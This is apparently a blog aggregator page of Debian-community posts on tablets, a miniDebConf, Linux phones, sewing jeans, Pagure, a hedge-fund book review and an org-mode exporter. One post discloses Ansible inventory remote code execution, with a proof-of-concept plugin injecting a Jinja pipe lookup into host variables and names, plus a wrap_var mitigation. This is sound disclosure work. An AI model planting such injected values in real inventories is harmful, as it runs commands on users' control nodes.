The Amazon Kids parental controls are extremely insufficient, and I strongly advise against getting any of the Amazon Kids series. The initial permise (and some older reviews) look okay: you can set some time limits, and you can disable anything that requires buying. With the hardware you get one year of the Amazon Kids+ subscription, which includes a lot of interesting content such as books and audio, but also some apps. This seemed attractive: some learning apps, some decent games. Sometimes there seems to be a special Amazon Kids+ edition , supposedly one that has advertisements reduced/removed and no purchasing. However, there are so many things just wrong in Amazon Kids: And, unfortunately, Amazon Kids is full of poor content for kids, such as DIY Fashion Star that I consider to be very dangerous for kids: it is extremely stereotypical, beginning with supposedly female color schemes, model-only body types, and judging people by their clothing (and body). You really thought you could hand-pick suitable apps for your kid on your own? No, you have to identify and remove such contents one by one, with many clicks each, because there is no whitelisting, and no mass-removal (anymore - apparently Amazon removed the workarounds that previously allowed you to mass remove contents). Not with Amazon Kids+, which apparently aims at raising the next generation of zombie customers that buy whatever you tell them to buy. Hence, do not get your kids an Amazon Fire HD tablet!

19 March 2024

Colin Watson: apt install everything?

On Mastodon, the question came up of how Ubuntu would deal with something like the npm install everything situation. I replied:
Ubuntu is curated, so it probably wouldn t get this far. If it did, then the worst case is that it would get in the way of CI allowing other packages to be removed (again from a curated system, so people are used to removal not being self-service); but the release team would have no hesitation in removing a package like this to fix that, and it certainly wouldn t cause this amount of angst. If you did this in a PPA, then I can t think of any particular negative effects.
OK, if you added lots of build-dependencies (as well as run-time dependencies) then you might be able to take out a builder. But Launchpad builders already run arbitrary user-submitted code by design and are therefore very carefully sandboxed and treated as ephemeral, so this is hardly novel. There s a lot to be said for the arrangement of having a curated system for the stuff people actually care about plus an ecosystem of add-on repositories. PPAs cover a wide range of levels of developer activity, from throwaway experiments to quasi-official distribution methods; there are certainly problems that arise from it being difficult to tell the difference between those extremes and from there being no systematic confinement, but for this particular kind of problem they re very nearly ideal. (Canonical has tried various other approaches to software distribution, and while they address some of the problems, they aren t obviously better at helping people make reliable social judgements about code they don t know.) For a hypothetical package with a huge number of dependencies, to even try to upload it directly to Ubuntu you d need to be an Ubuntu developer with upload rights (or to go via Debian, where you d have to clear a similar hurdle). If you have those, then the first upload has to pass manual review by an archive administrator. If your package passes that, then it still has to build and get through proposed-migration CI before it reaches anything that humans typically care about. On the other hand, if you were inclined to try this sort of experiment, you d almost certainly try it in a PPA, and that would trouble nobody but yourself.

18 March 2024

Gunnar Wolf: After miniDebConf Santa Fe

Last week we held our promised miniDebConf in Santa Fe City, Santa Fe province, Argentina just across the river from Paran , where I have spent almost six beautiful months I will never forget. Around 500 Kilometers North from Buenos Aires, Santa Fe and Paran are separated by the beautiful and majestic Paran river, which flows from Brazil, marks the Eastern border of Paraguay, and continues within Argentina as the heart of the litoral region of the country, until it merges with the Uruguay river (you guessed right the river marking the Eastern border of Argentina, first with Brazil and then with Uruguay), and they become the R o de la Plata. This was a short miniDebConf: we were lent the APUL union s building for the weekend (thank you very much!); during Saturday, we had a cycle of talks, and on sunday we had more of a hacklab logic, having some unstructured time to work each on their own projects, and to talk and have a good time together. We were five Debian people attending: santiago debacle eamanu dererk gwolf @debian.org. My main contact to kickstart organization was Mart n Bayo. Mart n was for many years the leader of the Technical Degree on Free Software at Universidad Nacional del Litoral, where I was also a teacher for several years. Together with Leo Mart nez, also a teacher at the tecnicatura, they contacted us with Guillermo and Gabriela, from the APUL non-teaching-staff union of said university. We had the following set of talks (for which there is a promise to get electronic record, as APUL was kind enough to record them! of course, I will push them to our usual conference video archiving service as soon as I get them)
Hour Title (Spanish) Title (English) Presented by
10:00-10:25 Introducci n al Software Libre Introduction to Free Software Mart n Bayo
10:30-10:55 Debian y su comunidad Debian and its community Emanuel Arias
11:00-11:25 Por qu sigo contribuyendo a Debian despu s de 20 a os? Why am I still contributing to Debian after 20 years? Santiago Ruano
11:30-11:55 Mi identidad y el proyecto Debian: Qu es el llavero OpenPGP y por qu ? My identity and the Debian project: What is the OpenPGP keyring and why? Gunnar Wolf
12:00-13:00 Explorando las masculinidades en el contexto del Software Libre Exploring masculinities in the context of Free Software Gora Ortiz Fuentes - Jos Francisco Ferro
13:00-14:30 Lunch
14:30-14:55 Debian para el d a a d a Debian for our every day Leonardo Mart nez
15:00-15:25 Debian en las Raspberry Pi Debian in the Raspberry Pi Gunnar Wolf
15:30-15:55 Device Trees Device Trees Lisandro Dami n Nicanor Perez Meyer (videoconferencia)
16:00-16:25 Python en Debian Python in Debian Emmanuel Arias
16:30-16:55 Debian y XMPP en la medici n de viento para la energ a e lica Debian and XMPP for wind measuring for eolic energy Martin Borgert
As it always happens DebConf, miniDebConf and other Debian-related activities are always fun, always productive, always a great opportunity to meet again our decades-long friends. Lets see what comes next!

12 March 2024

Russell Coker: Android vs FOSS Phones

To achieve my aims regarding Convergence of mobile phone and PC [1] I need something a big bigger than the 4G of RAM that s in the PinePhone Pro [2]. The PinePhonePro was released at the end of 2021 but has a SoC that was first released in 2016. That SoC seems to compare well to the ones used in the Pixel and Pixel 2 phones that were released in the same time period so it s not a bad SoC, but it doesn t compare well to more recent Android devices and it also isn t a great fit for the non-Android things I want to do. Also the PinePhonePro and Librem5 have relatively short battery life so reusing Android functionality for power saving could provide a real benefit. So I want a phone designed for the mass market that I can use for running Debian. PostmarketOS One thing I m definitely not going to do is attempt a full port of Linux to a different platform or support of kernel etc. So I need to choose a device that already has support from a somewhat free Linux system. The PostmarketOS system is the first I considered, the PostmarketOS Wiki page of supported devices [3] was the first place I looked. The main supported devices are the PinePhone (not Pro) and the Librem5, both of which are under-powered. For the community devices there seems to be nothing that supports calls, SMS, mobile data, and USB-OTG and which also has 4G of RAM or more. If I skip USB-OTG (which presumably means I d have to get dock functionality via wifi not impossible but not great) then I m left with the SHIFT6mq which was never sold in Australia and the Xiomi POCO F1 which doesn t appear to be available on ebay. LineageOS The libhybris libraries are a compatibility layer between Android and glibc programs [4]. Which includes running Wayland with Android display drivers. So running a somewhat standard Linux desktop on top of an Android kernel should be possible. Here is a table of the LineageOS supported devices that seem to have a useful feature set and are available in Australia and which could be used for running Debian with firmware and drivers copied from Android. I only checked LineageOS as it seems to be the main free Android build.
Phone RAM External Display Price
Edge 20 Pro [5] 6-12G HDMI $500 not many on sale
Edge S aka moto G100 [6] 6-8G HDMI $500 to $600+
Fairphone 4 6-8G USBC-DP $1000+
Nubia Red Magic 5G 8-16G USBC-DP $600+
The LineageOS device search page [9] allows searching by kernel version. There are no phones with a 6.6 (2023) or 6.1 (2022) Linux kernel and only the Pixel 8/8Pro and the OnePlus 11 5G run 5.15 (2021). There are 8 Google devices (Pixel 6/7 and a tablet) running 5.10 (2020), 18 devices running 5.4 (2019), and 32 devices running 4.19 (2018). There are 186 devices running kernels older than 4.19 which aren t in the kernel.org supported release list [10]. The Pixel 8 Pro with 12G of RAM and the OnePlus 11 5G with 16G of RAM are appealing as portable desktop computers, until recently my main laptop had 8G of RAM. But they cost over $1000 second hand compared to $359 for my latest laptop. Fosdem had an interesting lecture from two Fairphone employees about what they are doing to make phone production fairer for workers and less harmful for the environment [11]. But they don t have the market power that companies like Google have to tell SoC vendors what they want. IP Laws and Practices Bunnie wrote an insightful and informative blog post about the difference between intellectual property practices in China and US influenced countries and his efforts to reverse engineer a commonly used Chinese SoC [12]. This is a major factor in the lack of support for FOSS on phones and other devices. Droidian and Buying a Note 9 The FOSDEM 2023 has a lecture about the Droidian project which runs Debian with firmware and drivers from Android to make a usable mostly-FOSS system [13]. It s interesting how they use containers for the necessary Android apps. Here is the list of devices supported by Droidian [14]. Two notable entries in the list of supported devices are the Volla Phone and Volla Phone 22 from Volla a company dedicated to making open Android based devices [15]. But they don t seem to be available on ebay and the new price of the Volla Phone 22 is E452 ($AU750) which is more than I want to pay for a device that isn t as open as the Pine64 and Purism products. The Volla Phone 22 only has 4G of RAM.
Phone RAM Price Issues
Note 9 128G/512G 6G/8G <$300 Not supporting external display
Galaxy S9+ 6G <$300 Not supporting external display
Xperia 5 6G >$300 Hotspot partly working
OnePlus 3T 6G $200 $400+ photos not working
I just bought a Note 9 with 128G of storage and 6G of RAM for $109 to try out Droidian, it has some screen burn but that s OK for a test system and if I end up using it seriously I ll just buy another that s in as-new condition. With no support for an external display I ll need to setup a software dock to do Convergence, but that s not a serious problem. If I end up making a Note 9 with Droidian my daily driver then I ll use the 512G/8G model for that and use the cheap one for testing. Mobian I should have checked the Mobian list first as it s the main Debian variant for phones. From the Mobian Devices list [16] the OnePlus 6T has 8G of RAM or more but isn t available in Australia and costs more than $400 when imported. The PocoPhone F1 doesn t seem to be available on ebay. The Shift6mq is made by a German company with similar aims to the Fairphone [17], it looks nice but costs E577 which is more than I want to spend and isn t on the officially supported list. Smart Watches The same issues apply to smart watches. AstereoidOS is a free smart phone OS designed for closed hardware [18]. I don t have time to get involved in this sort of thing though, I can t hack on every device I use.

11 March 2024

Evgeni Golov: Remote Code Execution in Ansible dynamic inventory plugins

I had reported this to Ansible a year ago (2023-02-23), but it seems this is considered expected behavior, so I am posting it here now. TL;DR Don't ever consume any data you got from an inventory if there is a chance somebody untrusted touched it. Inventory plugins Inventory plugins allow Ansible to pull inventory data from a variety of sources. The most common ones are probably the ones fetching instances from clouds like Amazon EC2 and Hetzner Cloud or the ones talking to tools like Foreman. For Ansible to function, an inventory needs to tell Ansible how to connect to a host (so e.g. a network address) and which groups the host belongs to (if any). But it can also set any arbitrary variable for that host, which is often used to provide additional information about it. These can be tags in EC2, parameters in Foreman, and other arbitrary data someone thought would be good to attach to that object. And this is where things are getting interesting. Somebody could add a comment to a host and that comment would be visible to you when you use the inventory with that host. And if that comment contains a Jinja expression, it might get executed. And if that Jinja expression is using the pipe lookup, it might get executed in your shell. Let that sink in for a moment, and then we'll look at an example. Example inventory plugin
from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
    NAME = 'evgeni.inventoryrce.inventory'
    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid
    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('exploit.example.com')
        self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local')
        self.inventory.set_variable('exploit.example.com', 'something_funny', '  lookup("pipe", "touch /tmp/hacked" )  ')
The code is mostly copy & paste from the Developing dynamic inventory docs for Ansible and does three things:
  1. defines the plugin name as evgeni.inventoryrce.inventory
  2. accepts any config that ends with evgeni.yml (we'll need that to trigger the use of this inventory later)
  3. adds an imaginary host exploit.example.com with local connection type and something_funny variable to the inventory
In reality this would be talking to some API, iterating over hosts known to it, fetching their data, etc. But the structure of the code would be very similar. The crucial part is that if we have a string with a Jinja expression, we can set it as a variable for a host. Using the example inventory plugin Now we install the collection containing this inventory plugin, or rather write the code to ~/.ansible/collections/ansible_collections/evgeni/inventoryrce/plugins/inventory/inventory.py (or wherever your Ansible loads its collections from). And we create a configuration file. As there is nothing to configure, it can be empty and only needs to have the right filename: touch inventory.evgeni.yml is all you need. If we now call ansible-inventory, we'll see our host and our variable present:
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-inventory -i inventory.evgeni.yml --list
 
    "_meta":  
        "hostvars":  
            "exploit.example.com":  
                "ansible_connection": "local",
                "something_funny": "  lookup(\"pipe\", \"touch /tmp/hacked\" )  "
             
         
     ,
    "all":  
        "children": [
            "ungrouped"
        ]
     ,
    "ungrouped":  
        "hosts": [
            "exploit.example.com"
        ]
     
 
(ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory is required to allow the use of our inventory plugin, as it's not in the default list.) So far, nothing dangerous has happened. The inventory got generated, the host is present, the funny variable is set, but it's still only a string. Executing a playbook, interpreting Jinja To execute the code we'd need to use the variable in a context where Jinja is used. This could be a template where you actually use this variable, like a report where you print the comment the creator has added to a VM. Or a debug task where you dump all variables of a host to analyze what's set. Let's use that!
- hosts: all
  tasks:
    - name: Display all variables/facts known for a host
      ansible.builtin.debug:
        var: hostvars[inventory_hostname]
This playbook looks totally innocent: run against all hosts and dump their hostvars using debug. No mention of our funny variable. Yet, when we execute it, we see:
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
ok: [exploit.example.com]
TASK [Display all variables/facts known for a host] *******************************************************
ok: [exploit.example.com] =>  
    "hostvars[inventory_hostname]":  
        "ansible_all_ipv4_addresses": [
            "192.168.122.1"
        ],
         
        "something_funny": ""
     
 
PLAY RECAP *************************************************************************************************
exploit.example.com  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   
We got all variables dumped, that was expected, but now something_funny is an empty string? Jinja got executed, and the expression was lookup("pipe", "touch /tmp/hacked" ) and touch does not return anything. But it did create the file!
% ls -alh /tmp/hacked 
-rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked
We just "hacked" the Ansible control node (aka: your laptop), as that's where lookup is executed. It could also have used the url lookup to send the contents of your Ansible vault to some internet host. Or connect to some VPN-secured system that should not be reachable from EC2/Hetzner/ . Why is this possible? This happens because set_variable(entity, varname, value) doesn't mark the values as unsafe and Ansible processes everything with Jinja in it. In this very specific example, a possible fix would be to explicitly wrap the string in AnsibleUnsafeText by using wrap_var:
from ansible.utils.unsafe_proxy import wrap_var
 
self.inventory.set_variable('exploit.example.com', 'something_funny', wrap_var('  lookup("pipe", "touch /tmp/hacked" )  '))
Which then gets rendered as a string when dumping the variables using debug:
"something_funny": "  lookup(\"pipe\", \"touch /tmp/hacked\" )  "
But it seems inventories don't do this:
for k, v in host_vars.items():
    self.inventory.set_variable(name, k, v)
(aws_ec2.py)
for key, value in hostvars.items():
    self.inventory.set_variable(hostname, key, value)
(hcloud.py)
for k, v in hostvars.items():
    try:
        self.inventory.set_variable(host_name, k, v)
    except ValueError as e:
        self.display.warning("Could not set host info hostvar for %s, skipping %s: %s" % (host, k, to_text(e)))
(foreman.py) And honestly, I can totally understand that. When developing an inventory, you do not expect to handle insecure input data. You also expect the API to handle the data in a secure way by default. But set_variable doesn't allow you to tag data as "safe" or "unsafe" easily and data in Ansible defaults to "safe". Can something similar happen in other parts of Ansible? It certainly happened in the past that Jinja was abused in Ansible: CVE-2016-9587, CVE-2017-7466, CVE-2017-7481 But even if we only look at inventories, add_host(host) can be abused in a similar way:
from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
    NAME = 'evgeni.inventoryrce.inventory'
    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid
    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('lol  lookup("pipe", "touch /tmp/hacked-host" )  ')
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
fatal: [lol  lookup("pipe", "touch /tmp/hacked-host" )  ]: UNREACHABLE! =>  "changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true 
PLAY RECAP ************************************************************************************************
lol  lookup("pipe", "touch /tmp/hacked-host" )   : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0
% ls -alh /tmp/hacked-host
-rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host
Affected versions I've tried this on Ansible (core) 2.13.13 and 2.16.4. I'd totally expect older versions to be affected too, but I have not verified that.

7 March 2024

Valhalla's Things: Jeans, step two. And three. And four.

Posted on March 7, 2024
Tags: madeof:atoms, FreeSoftWear
A woman wearing a regular pair of slim-cut black denim jeans. I was working on what looked like a good pattern for a pair of jeans-shaped trousers, and I knew I wasn t happy with 200-ish g/m cotton-linen for general use outside of deep summer, but I didn t have a source for proper denim either (I had been low-key looking for it for a long time). Then one day I looked at an article I had saved about fabric shops that sell technical fabric and while window-shopping on one I found that they had a decent selection of denim in a decent weight. I decided it was a sign, and decided to buy the two heaviest denim they had: a 100% cotton, 355 g/m one and a 97% cotton, 3% elastane at 385 g/m 1; the latter was a bit of compromise as I shouldn t really be buying fabric adulterated with the Scourge of Humanity, but it was heavier than the plain one, and I may be having a thing for tightly fitting jeans, so this may be one of the very few woven fabric where I m not morally opposed to its existence. And, I d like to add, I resisted buying any of the very nice wools they also seem to carry, other than just a couple of samples. Since the shop only sold in 1 meter increments, and I needed about 1.5 meters for each pair of jeans, I decided to buy 3 meters per type, and have enough to make a total of four pair of jeans. A bit more than I strictly needed, maybe, but I was completely out of wearable day-to-day trousers. a cardboard box with neatly folded black denim, covered in semi-transparent plastic. The shop sent everything very quickly, the courier took their time (oh, well) but eventually delivered my fabric on a sunny enough day that I could wash it and start as soon as possible on the first pair. The pattern I did in linen was a bit too fitting, but I was afraid I had widened it a bit too much, so I did the first pair in the 100% cotton denim. Sewing them took me about a week of early mornings and late afternoons, excluding the weekend, and my worries proved false: they were mostly just fine. The only bit that could have been a bit better is the waistband, which is a tiny bit too wide on the back: it s designed to be so for comfort, but the next time I should pull the elastic a bit more, so that it stays closer to the body. The same from the back, showing the applied pockets with a sewn logo. I wore those jeans daily for the rest of the week, and confirmed that they were indeed comfortable and the pattern was ok, so on the next Monday I started to cut the elastic denim. I decided to cut and sew two pairs, assembly-line style, using the shaped waistband for one of them and the straight one for the other one. I started working on them on a Monday, and on that week I had a couple of days when I just couldn t, plus I completely skipped sewing on the weekend, but on Tuesday the next week one pair was ready and could be worn, and the other one only needed small finishes. A woman wearing another pair of jeans; the waistband here is shaped to fit rather than having elastic. And I have to say, I m really, really happy with the ones with a shaped waistband in elastic denim, as they fit even better than the ones with a straight waistband gathered with elastic. Cutting it requires more fabric, but I think it s definitely worth it. But it will be a problem for a later time: right now three pairs of jeans are a good number to keep in rotation, and I hope I won t have to sew jeans for myself for quite some time. A plastic bag with mid-sized offcuts of denim; there is a 30 cm ruler on top that is just wider than the bag I think that the leftovers of plain denim will be used for a skirt or something else, and as for the leftovers of elastic denim, well, there aren t a lot left, but what else I did with them is the topic for another post. Thanks to the fact that they are all slightly different, I ve started to keep track of the times when I wash each pair, and hopefully I will be able to see whether the elastic denim is significantly less durable than the regular, or the added weight compensates for it somewhat. I m not sure I ll manage to remember about saving the data until they get worn, but if I do it will be interesting to know. Oh, and I say I ve finished working on jeans and everything, but I still haven t sewn the belt loops to the third pair. And I m currently wearing them. It s a sewist tradition, or something. :D

  1. The links are to the shop for Italy; you can copy the Codice prodotto and look for it on one of the shop version for other countries (where they apply the right vat etc., but sadly they don t allow to mix and match those settings and the language).

26 February 2024

Sergio Durigan Junior: Planning to orphan Pagure on Debian

I have been thinking more and more about orphaning the Pagure Debian package. I don t have the time to maintain it properly anymore, and I have also lost interest in doing so.

What s Pagure Pagure is a git forge written entirely in Python using pygit2. It was almost entirely developed by one person, Pierre-Yves Chibon. He is (was?) a Red Hat employee and started working on this new git forge almost 10 years ago because the company wanted to develop something in-house for Fedora. The software is amazing and I admire Pierre-Yves quite a lot for what he was able to achieve basically alone. Unfortunately, a few years ago Fedora decided to move to Gitlab and the Pagure development pretty much stalled.

Pagure in Debian Packaging Pagure for Debian was hard, but it was also very fun. I learned quite a bit about many things (packaging and non-packaging related), interacted with the upstream community, decided to dogfood my own work and run my Pagure instance for a while, and tried to get newcomers to help me with the package (without much success, unfortunately). I remember that when I had started to package Pagure, Debian was also moving away from Alioth and discussing options. For a brief moment Pagure was a contender, but in the end the community decided to self-host Gitlab, and that s why we have Salsa now. I feel like I could have tipped the scales in favour of Pagure had I finished packaging it for Debian before the decision was made, but then again, to the best of my knowledge Salsa doesn t use our Gitlab package anyway

Are you interested in maintaining it? If you re interested in maintaining the package, please get in touch with me. I will happily pass the torch to someone else who is still using the software and wants to keep it healthy in Debian. If there is nobody interested, then I will just orphan it.

25 February 2024

Russ Allbery: Review: The Fund

Review: The Fund, by Rob Copeland
Publisher: St. Martin's Press
Copyright: 2023
ISBN: 1-250-27694-2
Format: Kindle
Pages: 310
I first became aware of Ray Dalio when either he or his publisher plastered advertisements for The Principles all over the San Francisco 4th and King Caltrain station. If I recall correctly, there were also constant radio commercials; it was a whole thing in 2017. My brain is very good at tuning out advertisements, so my only thought at the time was "some business guy wrote a self-help book." I think I vaguely assumed he was a CEO of some traditional business, since that's usually who writes heavily marketed books like this. I did not connect him with hedge funds or Bridgewater, which I have a bad habit of confusing with Blackwater. The Principles turns out to be more of a laundered cult manual than a self-help book. And therein lies a story. Rob Copeland is currently with The New York Times, but for many years he was the hedge fund reporter for The Wall Street Journal. He covered, among other things, Bridgewater Associates, the enormous hedge fund founded by Ray Dalio. The Fund is a biography of Ray Dalio and a history of Bridgewater from its founding as a vehicle for Dalio's advising business until 2022 when Dalio, after multiple false starts and title shuffles, finally retired from running the company. (Maybe. Based on the history recounted here, it wouldn't surprise me if he was back at the helm by the time you read this.) It is one of the wildest, creepiest, and most abusive business histories that I have ever read. It's probably worth mentioning, as Copeland does explicitly, that Ray Dalio and Bridgewater hate this book and claim it's a pack of lies. Copeland includes some of their denials (and many non-denials that sound as good as confirmations to me) in footnotes that I found increasingly amusing.
A lawyer for Dalio said he "treated all employees equally, giving people at all levels the same respect and extending them the same perks."
Uh-huh. Anyway, I personally know nothing about Bridgewater other than what I learned here and the occasional mention in Matt Levine's newsletter (which is where I got the recommendation for this book). I have no independent information whether anything Copeland describes here is true, but Copeland provides the typical extensive list of notes and sourcing one expects in a book like this, and Levine's comments indicated it's generally consistent with Bridgewater's industry reputation. I think this book is true, but since the clear implication is that the world's largest hedge fund was primarily a deranged cult whose employees mostly spied on and rated each other rather than doing any real investment work, I also have questions, not all of which Copeland answers to my satisfaction. But more on that later. The center of this book are the Principles. These were an ever-changing list of rules and maxims for how people should conduct themselves within Bridgewater. Per Copeland, although Dalio later published a book by that name, the version of the Principles that made it into the book was sanitized and significantly edited down from the version used inside the company. Dalio was constantly adding new ones and sometimes changing them, but the common theme was radical, confrontational "honesty": never being silent about problems, confronting people directly about anything that they did wrong, and telling people all of their faults so that they could "know themselves better." If this sounds like textbook abusive behavior, you have the right idea. This part Dalio admits to openly, describing Bridgewater as a firm that isn't for everyone but that achieves great results because of this culture. But the uncomfortably confrontational vibes are only the tip of the iceberg of dysfunction. Here are just a few of the ways this played out according to Copeland: In one of the common and all-too-disturbing connections between Wall Street finance and the United States' dysfunctional government, James Comey (yes, that James Comey) ran internal security for Bridgewater for three years, meaning that he was the one who pulled evidence from surveillance cameras for Dalio to use to confront employees during his trials. In case the cult vibes weren't strong enough already, Bridgewater developed its own idiosyncratic language worthy of Scientology. The trials were called "probings," firing someone was called "sorting" them, and rating them was called "dotting," among many other Bridgewater-specific terms. Needless to say, no one ever probed Dalio himself. You will also be completely unsurprised to learn that Copeland documents instances of sexual harassment and discrimination at Bridgewater, including some by Dalio himself, although that seems to be a relatively small part of the overall dysfunction. Dalio was happy to publicly humiliate anyone regardless of gender. If you're like me, at this point you're probably wondering how Bridgewater continued operating for so long in this environment. (Per Copeland, since Dalio's retirement in 2022, Bridgewater has drastically reduced the cult-like behaviors, deleted its archive of probings, and de-emphasized the Principles.) It was not actually a religious cult; it was a hedge fund that has to provide investment services to huge, sophisticated clients, and by all accounts it's a very successful one. Why did this bizarre nightmare of a workplace not interfere with Bridgewater's business? This, I think, is the weakest part of this book. Copeland makes a few gestures at answering this question, but none of them are very satisfying. First, it's clear from Copeland's account that almost none of the employees of Bridgewater had any control over Bridgewater's investments. Nearly everyone was working on other parts of the business (sales, investor relations) or on cult-related obsessions. Investment decisions (largely incorporated into algorithms) were made by a tiny core of people and often by Dalio himself. Bridgewater also appears to not trade frequently, unlike some other hedge funds, meaning that they probably stay clear of the more labor-intensive high-frequency parts of the business. Second, Bridgewater took off as a hedge fund just before the hedge fund boom in the 1990s. It transformed from Dalio's personal consulting business and investment newsletter to a hedge fund in 1990 (with an earlier investment from the World Bank in 1987), and the 1990s were a very good decade for hedge funds. Bridgewater, in part due to Dalio's connections and effective marketing via his newsletter, became one of the largest hedge funds in the world, which gave it a sort of institutional momentum. No one was questioned for putting money into Bridgewater even in years when it did poorly compared to its rivals. Third, Dalio used the tried and true method of getting free publicity from the financial press: constantly predict an upcoming downturn, and aggressively take credit whenever you were right. From nearly the start of his career, Dalio predicted economic downturns year after year. Bridgewater did very well in the 2000 to 2003 downturn, and again during the 2008 financial crisis. Dalio aggressively takes credit for predicting both of those downturns and positioning Bridgewater correctly going into them. This is correct; what he avoids mentioning is that he also predicted downturns in every other year, the majority of which never happened. These points together create a bit of an answer, but they don't feel like the whole picture and Copeland doesn't connect the pieces. It seems possible that Dalio may simply be good at investing; he reads obsessively and clearly enjoys thinking about markets, and being an abusive cult leader doesn't take up all of his time. It's also true that to some extent hedge funds are semi-free money machines, in that once you have a sufficient quantity of money and political connections you gain access to investment opportunities and mechanisms that are very likely to make money and that the typical investor simply cannot access. Dalio is clearly good at making personal connections, and invested a lot of effort into forming close ties with tricky clients such as pools of Chinese money. Perhaps the most compelling explanation isn't mentioned directly in this book but instead comes from Matt Levine. Bridgewater touts its algorithmic trading over humans making individual trades, and there is some reason to believe that consistently applying an algorithm without regard to human emotion is a solid trading strategy in at least some investment areas. Levine has asked in his newsletter, tongue firmly in cheek, whether the bizarre cult-like behavior and constant infighting is a strategy to distract all the humans and keep them from messing with the algorithm and thus making bad decisions. Copeland leaves this question unsettled. Instead, one comes away from this book with a clear vision of the most dysfunctional workplace I have ever heard of, and an endless litany of bizarre events each more astonishing than the last. If you like watching train wrecks, this is the book for you. The only drawback is that, unlike other entries in this genre such as Bad Blood or Billion Dollar Loser, Bridgewater is a wildly successful company, so you don't get the schadenfreude of seeing a house of cards collapse. You do, however, get a helpful mental model to apply to the next person who tries to talk to you about "radical honesty" and "idea meritocracy." The flaw in this book is that the existence of an organization like Bridgewater is pointing to systematic flaws in how our society works, which Copeland is largely uninterested in interrogating. "How could this have happened?" is a rather large question to leave unanswered. The sheer outrageousness of Dalio's behavior also gets a bit tiring by the end of the book, when you've seen the patterns and are hearing about the fourth variation. But this is still an astonishing book, and a worthy entry in the genre of capitalism disasters. Rating: 7 out of 10

19 February 2024

Valhalla's Things: Jeans, step one

Posted on February 19, 2024
Tags: madeof:atoms, craft:sewing, FreeSoftWear
CW for body size change mentions A woman wearing a pair of tight jeans. Just like the corset, I also needed a new pair of jeans. Back when my body size changed drastically of course my jeans no longer fit. While I was waiting for my size to stabilize I kept wearing them with a somewhat tight belt, but it was ugly and somewhat uncomfortable. When I had stopped changing a lot I tried to buy new ones in the same model, and found out that I was too thin for the menswear jeans of that shop. I could have gone back to wearing women s jeans, but I didn t want to have to deal with the crappy fabric and short pockets, so I basically spent a few years wearing mostly skirts, and oversized jeans when I really needed trousers. Meanwhile, I had drafted a jeans pattern for my SO, which we had planned to make in technical fabric, but ended up being made in a cotton-wool mystery mix for winter and in linen-cotton for summer, and the technical fabric version was no longer needed (yay for natural fibres!) It was clear what the solution to my jeans problems would have been, I just had to stop getting distracted by other projects and draft a new pattern using a womanswear block instead of a menswear one. Which, in January 2024 I finally did, and I believe it took a bit less time than the previous one, even if it had all of the same fiddly pieces. I already had a cut of the same cotton-linen I had used for my SO, except in black, and used it to make the pair this post is about. The parametric pattern is of course online, as #FreeSoftWear, at the usual place. This time it was faster, since I didn t have to write step-by-step instructions, as they are exactly the same as the other pattern. Same as above, from the back, with the crotch seam pulling a bit. A faint decoration can be seen on the pockets, with the line art version of the logo seen on this blog. Making also went smoothly, and the result was fitting. Very fitting. A big too fitting, and the standard bum adjustment of the back was just enough for what apparently still qualifies as a big bum, so I adjusted the pattern to be able to add a custom amount of ease in a few places. But at least I had a pair of jeans-shaped trousers that fit! Except, at 200 g/m I can t say that fabric is the proper weight for a pair of trousers, and I may have looked around online1 for some denim, and, well, it s 2024, so my no-fabric-buy 2023 has not been broken, right? Let us just say that there may be other jeans-related posts in the near future.

  1. I had already asked years ago for denim at my local fabric shops, but they don t have the proper, sturdy, type I was looking for.

16 February 2024

David Bremner: Generating ikiwiki markdown from org

My web pages are (still) in ikiwiki, but lately I have started authoring things like assignments and lectures in org-mode so that I can have some literate programming facilities. There is is org-mode export built-in, but it just exports source blocks as examples (i.e. unhighlighted verbatim). I added a custom exporter to mark up source blocks in a way ikiwiki can understand. Luckily this is not too hard the second time.
(with-eval-after-load "ox-md"
  (org-export-define-derived-backend 'ik 'md
    :translate-alist '((src-block . ik-src-block))
    :menu-entry '(?m 1 ((?i "ikiwiki" ik-export-to-ikiwiki)))))
(defun ik-normalize-language  (str)
  (cond
   ((string-equal str "plait") "racket")
   ((string-equal str "smol") "racket")
   (t str)))
(defun ik-src-block (src-block contents info)
  "Transcode a SRC-BLOCK element from Org to beamer
         CONTENTS is nil.  INFO is a plist used as a communication
         channel."
  (let* ((body  (org-element-property :value src-block))
         (lang  (ik-normalize-language (org-element-property :language src-block))))
    (format "[[!format <span class="error">Error: unsupported page format &#37;s</span>]]" lang body)))
(defun ik-export-to-ikiwiki
    (&optional async subtreep visible-only body-only ext-plist)
  "Export current buffer as an ikiwiki markdown file.
    See org-md-export-to-markdown for full docs"
  (require 'ox)
  (interactive)
  (let ((file (org-export-output-file-name ".mdwn" subtreep)))
    (org-export-to-file 'ik file
      async subtreep visible-only body-only ext-plist)))

9 February 2024

Abhijith PA: A new(kind of) phone

